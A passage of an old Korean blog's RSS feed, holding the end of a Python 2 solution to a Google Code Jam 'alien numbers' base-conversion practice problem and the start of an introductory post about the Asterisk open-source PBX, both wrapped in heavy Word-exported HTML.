0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;</span>i = len(src) - 1<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;</span>while 0 &lt;= i :<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>dst += src [i]<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>i -= 1<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;</span>return dst<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">def dec2alien(alien_lan,dec_num) :<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp; </span>i = 0<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp; </span>s = str()<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp; </span>while dec_num &gt;= len(alien_lan) :<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>s<span style="mso-spacerun: yes">&nbsp; </span>+= alien_lan[dec_num%len(alien_lan)]<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>dec_num /= len(alien_lan)<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>i += 1<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp; </span>s+= alien_lan[dec_num]<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp; </span>return toggle_string(s)<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">def alien2alien(alien_num,src_lan,dst_lan):<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp; </span>return dec2alien(dst_lan,alien2dec(src_lan,alien_num) )<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">def main():<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">#<span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>print 'carlo world'<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">#<span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>print alien2alien('ff','0123456789abcdef','0123456789')<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </span>if len(sys.argv) &lt;&gt; 3:<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>sys.stderr.write('usage: practice src_file dst_file\n')<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>sys.exit(2)<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </span>file1, file2 = sys.argv[1], sys.argv[2]<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </span>try:<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>FH = open(file1)<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>FH2 = open(file2,'wb')<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>i=0<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>for line in FH:<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-tab-count: 1">&nbsp;&nbsp; </span>each_entry = list()<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>for s in line.strip('\n').split(' '):<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>each_entry.append(s)<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;</span><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if(len(each_entry)==3):<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>rtn = alien2alien(each_entry[0],each_entry[1],each_entry[2])<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>frtn ="Case #%d: %s\n" % (i,rtn),<span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>print str("Case #%d: %s" % (i,rtn))<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>FH2.write(str("Case #%d: %s\n" % (i,rtn)))<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;</span><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>i += 1<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes"></span><o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>FH.close()<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>FH2.close()<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </span>except IOError:<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp; </span><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>sys.stderr.write(file1 + ': cannot open\n')<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>sys.exit(1)<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">if __name__ == '__main__':<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </span>main()<o:p></o:p></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">파이썬 처음 사용해 봤는데<span lang="EN-US">. 괜춘한 것 같다.. </span></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕"><a href="http://pds6.egloos.com/pds/200808/05/73/A-large-practice.out">A-large-practice.out</a></span></o:p></span>&nbsp;</p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">문제출처<span lang="EN-US">:www.google.com<br><o:p><br><a href="http://pds9.egloos.com/pds/200808/05/73/A-large-practice.in">A-large-practice.in</a><br><a href="http://pds9.egloos.com/pds/200808/05/73/A-small-practice.in">A-small-practice.in</a><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕"><br><a href="http://pds6.egloos.com/pds/200808/05/73/A-large-practice.out">A-large-practice.out</a><br><a href="http://pds9.egloos.com/pds/200808/05/73/A-small-practice.out">A-small-practice.out</a><br><a href="http://pds6.egloos.com/pds/200808/05/73/practice.py">practice.py</a><br></span></o:p></span></o:p></span></span></span></p>			 ]]> 
		</description>
		<category>CodingQuestions</category>

		<comments>http://univac.egloos.com/1924398#comments</comments>
		<pubDate>Tue, 05 Aug 2008 00:11:45 GMT</pubDate>
		<dc:creator>PigBaby</dc:creator>
	</item>
	<item>
		<title><![CDATA[ OpenSource Asterisk 입문  ]]> </title>
		<link>http://univac.egloos.com/1653096</link>
		<guid>http://univac.egloos.com/1653096</guid>
		<description>
			<![CDATA[ 
  <span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"><font size="3"><span style="FONT-FAMILY: 굴림">&nbsp;<?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><v:stroke joinstyle="miter"></v:stroke></span></font><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f"></v:path><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:lock aspectratio="t" v:ext="edit"></o:lock><v:shape id="_x0000_s1026" style="MARGIN-TOP: 112.75pt; Z-INDEX: 1; LEFT: 0px; MARGIN-LEFT: 87.65pt; WIDTH: 107.25pt; POSITION: absolute; HEIGHT: 53.25pt; TEXT-ALIGN: left; mso-wrap-distance-left: 0; mso-wrap-distance-right: 0; mso-position-vertical-relative: line" type="#_x0000_t75" o:allowoverlap="f" alt=""><v:imagedata o:title="logo_rev" src="file:///C:\DOCUME~1\유연수\LOCALS~1\Temp\msohtml1\01\clip_image001.gif"></v:imagedata><?xml:namespace prefix = w ns = "urn:schemas-microsoft-com:office:word" /><w:wrap type="square"></w:wrap></v:shape><font size="3"><span style="FONT-FAMILY: 굴림"><v:stroke joinstyle="miter"></v:stroke></span></font><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f"></v:path><o:lock aspectratio="t" v:ext="edit"></o:lock><v:shape id="_x0000_s1026" style="MARGIN-TOP: 112.75pt; Z-INDEX: 1; LEFT: 0px; MARGIN-LEFT: 87.65pt; WIDTH: 107.25pt; POSITION: absolute; HEIGHT: 53.25pt; TEXT-ALIGN: left; mso-wrap-distance-left: 0; mso-wrap-distance-right: 0; mso-position-vertical-relative: line" type="#_x0000_t75" o:allowoverlap="f" alt=""><v:imagedata o:title="logo_rev" src="file:///C:\DOCUME~1\유연수\LOCALS~1\Temp\msohtml1\01\clip_image001.gif"></v:imagedata><w:wrap type="square"></w:wrap></v:shape><a href="http://pds9.egloos.com/pds/200804/28/73/OpenSourcePBX_Asterisk.doc">OpenSourcePBX_Asterisk.doc</a><br><br>asterisk</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">란</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA">, PBX(</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">구내</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">전화</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">교환기</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA">)</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">를</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">실현하기</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">위한</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">소프트웨어입니다</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA">. Linux</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">상에서</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">움직이는</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> open source</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">의</span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times New Roman'; mso-fareast-font-family: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA"> </span><span style="FONT-SIZE: 10pt; FONT-FAMILY: 굴림; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: KO; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">소프트이므로</span><span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: 'Times 